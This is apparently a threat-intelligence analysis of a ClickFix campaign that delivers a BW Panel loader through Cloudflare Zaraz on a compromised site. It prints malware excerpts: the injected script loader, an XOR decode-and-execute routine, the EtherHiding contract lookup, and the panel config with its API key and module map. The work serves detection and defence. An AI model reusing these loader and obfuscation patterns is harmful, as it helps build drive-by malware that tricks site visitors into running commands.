Edge-Delivered ClickFix: Cloudflare Zaraz, EtherHiding, and the BW Panel Ecosystem

A malicious JavaScript action served through Cloudflare Zaraz on edgeupstudio[.]com unpacked a ClickFix-associated BW Panel bootstrap, resolved its active backend through an EtherHiding lookup on Polygon, and prepared encrypted requests to the panel API.

The recovered code shows the path from Zaraz into the BW branch of ErrTraffic. An XOR-0x06 decoder reveals the bootstrap, a Polygon contract supplies the current backend, and the client encrypts its requests to the panel API. The code also contains nine presentation modes.

Figure 1. Internal portal confirmation for the Zaraz-delivered BW specimen. The detection was made on the returned /cdn-cgi/zaraz/s.js response and tagged as the BW Panel Zaraz XOR-6 Pageview wrapper.

---

Architectural workflow

Observed activity covers the edge-served Zaraz action, the XOR-unpacked BW bootstrap, the EtherHiding lookup, and the BW Panel request framework. Family-correlated ClickFix behavior starts once the controller selects and returns a presentation module.

Figure 2. The recovered attack chain from Cloudflare Zaraz delivery through the BW Panel and its ClickFix presentation paths.

Phase 1: Cloudflare Zaraz delivery

Cloudflare Zaraz is a legitimate edge-delivered tag-management platform. On the compromised site, the inline bootstrap gathered page state and loaded the first-party endpoint /cdn-cgi/zaraz/s.js?z=<encoded page context>.

The capture shows a malicious action served through that endpoint. It executed through the Zaraz Pageview path and retained first-party loading context under edgeupstudio[.]com.

The /cdn-cgi/zaraz/s.js path is legitimate Cloudflare infrastructure. In this case, it provided the delivery context for the malicious action.

The same BW loader has appeared through another Cloudflare control-plane path. In April 2026, YHL documented a malicious Cloudflare Worker (opens in new tab) that proxied origin responses and appended an encrypted script. Its decoded payload used site_repair_state, bw-downloaded, __BW_MODE_RUN__, the same nine-file mode map, and selector 0xb68d1809. The Worker sample pointed at a different Polygon contract, showing the loader in a separate deployment rather than a copy of this Zaraz action.

Observed inline bootstrap excerpt

window.zaraz._p = async nK => new Promise(nL => {
    if (nK) {
        nK.e && nK.e.forEach(nM => {
            const nP = d.createElement("script");
            nP.innerHTML = nM;
            d.head.appendChild(nP);
        });
    }
    nL();
});

lX.src = "/cdn-cgi/zaraz/s.js?z=" +
    btoa(encodeURIComponent(JSON.stringify(lP[lR])));

Phase 2: Payload unpacking and obfuscation

The returned Zaraz response contained an inline obfuscated payload. Its unpacking routine decodes Base64, applies a single-byte XOR with key 0x06, decodes the result as UTF-8, and executes it through new Function().

(function() {
    var _0xb0c5b4 = 6;
    var _0xaaa71f = "<base64 payload>";

    function _0xe89dd1(s, k) {
        s = atob(s);
        var len = s.length, i, arr = new Uint8Array(len);
        for (i = 0; i < len; i++) {
            arr[i] = s.charCodeAt(i) ^ k;
        }
        return new TextDecoder("utf-8").decode(arr);
    }

    var decoded = _0xe89dd1(_0xaaa71f, _0xb0c5b4);
    (new Function(decoded))();
})();

Reference Python extraction helper:

import base64

def deobfuscate_zaraz_action(encoded_payload: str, key: int = 0x06) -> str:
    raw_bytes = base64.b64decode(encoded_payload)
    unmasked = bytearray(b ^ key for b in raw_bytes)
    return unmasked.decode("utf-8", errors="ignore")

Phase 3: EtherHiding and blockchain resolution

The unpacked loader resolves its active backend through EtherHiding on Polygon. It issues JSON-RPC eth_call requests to a smart contract and reads the panel origin used for subsequent API requests.

The smart-contract bytecode and transaction history remain fixed on-chain, while contract storage supplies an operator-controlled state layer for the current backend string. This gives the campaign a durable lookup layer and permits rapid backend rotation.

The loader contains a broad gateway-provider set: QuickNode, Ankr, Nodies, BlastAPI, 1RPC, DRPC, Tenderly, Tatum, SubQuery, TheRPC, Lava, PublicNode, and HyperSync.

The selector is also a useful family marker. BlueTeamCoolTeam mapped four operators using the BW Panel kit (opens in new tab) with the same non-standard 0xb68d1809 contract call, site_repair_state, __BW_MODE_RUN__, and nine-module map. Its July 2026 revalidation counted 348 unique compromised sites across those operators. The matching selector and loader identifiers place the Zaraz specimen in that BW family while its contract address identifies this particular deployment.

Representative JSON-RPC request:

{
  "jsonrpc": "2.0",
  "method": "eth_call",
  "params": [
    {
      "to": "0x224579e572cEEc5309A7d9F5fAf85dea5dBb7D4A",
      "data": "0xb68d1809"
    },
    "latest"
  ],
  "id": 1
}

Once the contract returns the active backend string, traffic shifts back to standard HTTP or HTTPS. That final panel infrastructure remains suitable for DNS, proxy, and hosting-layer enforcement.

Phase 4: BW Panel protocol and cryptography

The unpacked JavaScript matches the BW Panel ecosystem. It exposes the family storage keys, exported runner, static API key, contract lookup, and mode map used to request downstream presentation modules.

const BW = {
    storageKey: "site_repair_state",
    legacyStorageKey: "bw-downloaded",
    runner: "__BW_MODE_RUN__",
    contract: "0x224579e572cEEc5309A7d9F5fAf85dea5dBb7D4A",
    selector: "0xb68d1809",
    apiKey: "cb9ef8804138983511a1dd21ad6839d03c00a9672807de414ec5eaaa7eb4390a",
    modes: {
        browser: "v1.js",
        font: "v2.js",
        recaptcha: "v3.js",
        bsod: "v4.js",
        silent: "v5.js",
        cloudflare: "v6.js",
        cf_update: "v7.js",
        mac_recaptcha: "v8.js",
        mac_cloudflare: "v9.js"
    }
};

Figure 3. The encrypted query structure used for BW Panel API requests.

The client generates an eight-byte nonce using crypto.getRandomValues(), with Math.random() as its fallback. It concatenates the static API key and nonce to derive the RC4 key, encrypts the query string, then sends q = base64url(nonce || cipher) to /api/index.php. The encrypted parameter protects action and mode values such as a=cfg, a=evt, a=dl, or a=js&mode=cloudflare.

Trinity Cyber's ErrTraffic brief (opens in new tab) documents the same sequence: Polygon resolves the panel, RC4-encrypted request values travel in the q parameter, and loadModeScript() retrieves the selected XOR-wrapped presentation module. The brief identifies this loader and panel protocol as the 2026 ErrTraffic build.

Event telemetry travels in a plaintext JSON body sent to the encrypted-looking API URL. The generic loader supports two response envelopes:

• enc=q2: RC4 using the static base key plus the response-envelope nonce.
• enc=gcm1: AES-GCM support for authenticated payload decryption.

Phase 5: Presentation engine and ClickFix context

The recovered mode map defines nine presentation modules. The BW Panel controller selects a mode and returns the next-stage JavaScript that drives the visitor experience.

The cloudflare entry is the Windows ClickFix presentation module. PKF Algosmic published a decoded copy (opens in new tab) that exports __BW_MODE_RUN__, renders a fake Cloudflare verification page inside a closed Shadow DOM, requests a token and delivery metadata from /api/index.php, and writes the generated PowerShell command to the clipboard. It also reports clip_ok or clip_fail and polls the token-status endpoint, allowing the panel to follow the interaction from clipboard staging through payload retrieval.

The Zaraz specimen contains the bootstrap that selects and loads that presentation layer: the same runner, storage keys, module map, panel API, and EtherHiding lookup used across the BW Panel family.

Technical indicators

Specimen-observed indicators

Broader BW and ClickFix context

Conclusion

This specimen shows how a legitimate edge tag-management feature can become the delivery surface for a BW Panel bootstrap. The resulting JavaScript combines first-party edge delivery, simple XOR obfuscation, blockchain-backed backend resolution, and encrypted panel communications. In the wider BW ecosystem, those components support ClickFix presentation modules that convert web traffic into user-assisted local execution.